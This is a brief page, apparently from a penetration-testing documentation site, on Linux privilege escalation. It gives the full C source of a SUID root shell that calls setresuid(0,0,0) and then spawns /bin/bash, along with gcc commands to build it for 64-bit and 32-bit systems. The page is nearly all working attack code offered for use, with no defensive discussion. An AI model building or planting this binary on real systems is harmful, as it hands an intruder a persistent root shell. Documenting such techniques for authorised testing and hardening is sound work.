> For the complete documentation index, see [llms.txt](https://infra.newerasec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infra.newerasec.com/infrastructure-testing/privilege-esclation/linux/suid-shell-script.md).

# SUID Shell script

code:

```
int main(void){ 
    setresuid(0, 0, 0); 
    system("/bin/bash"); 
} 
```

Building the SUID Shell binary:&#x20;

`gcc -o suid suid.c`  &#x20;

For 32 bit:&#x20;

`gcc -m32 -o suid suid.c`  &#x20;
